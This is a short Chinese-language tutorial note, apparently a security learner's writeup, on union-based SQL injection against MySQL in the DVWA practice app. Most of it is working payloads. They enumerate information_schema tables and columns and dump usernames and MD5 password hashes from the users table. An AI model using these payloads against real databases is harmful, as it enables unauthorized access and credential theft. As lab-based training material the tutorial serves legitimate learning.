SQL注入——Mysql查询


Mysql默认在数据库中存放一个"information_schema"的数据库
  • 查看所有库的所有表
'union select table_name,table_schema from information_schema.tables--+
这个过程可以结合hackbar工具
 
  • 统计每个表中的数量
 'union select table_schema,count(*) from information_schema.tables group by table_schema --+
 
  • 查询DVWA中的表名
'union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
查看到有一张User表,里面可能存放着用户名信息,可以选择深层查询
 
 
  • 查询User表中的所有信息
'union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
其中有user和password列值得注意,接着对这两列进行查询
 
  • 查询user表和password表中内容
法一:'union select user,password from dvwa.users--+
查询到了对应的账号以及密码(md5)
 
法二:
' union select user,password from users--+
查询效果和以上一样
 
法三:
' union select null, concat(user,0x3a,password) from users--+
第一个字段为Null,第二个字段为concat连接,通过0x3a连接,显示格式上会显得易读
 
这里显示出来的密码目测是md5加密,为了符合猜想,可用终端工具hash-identifier检测,剩余的工作为密码破解,后续笔记会进行介绍密码破解部分
 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM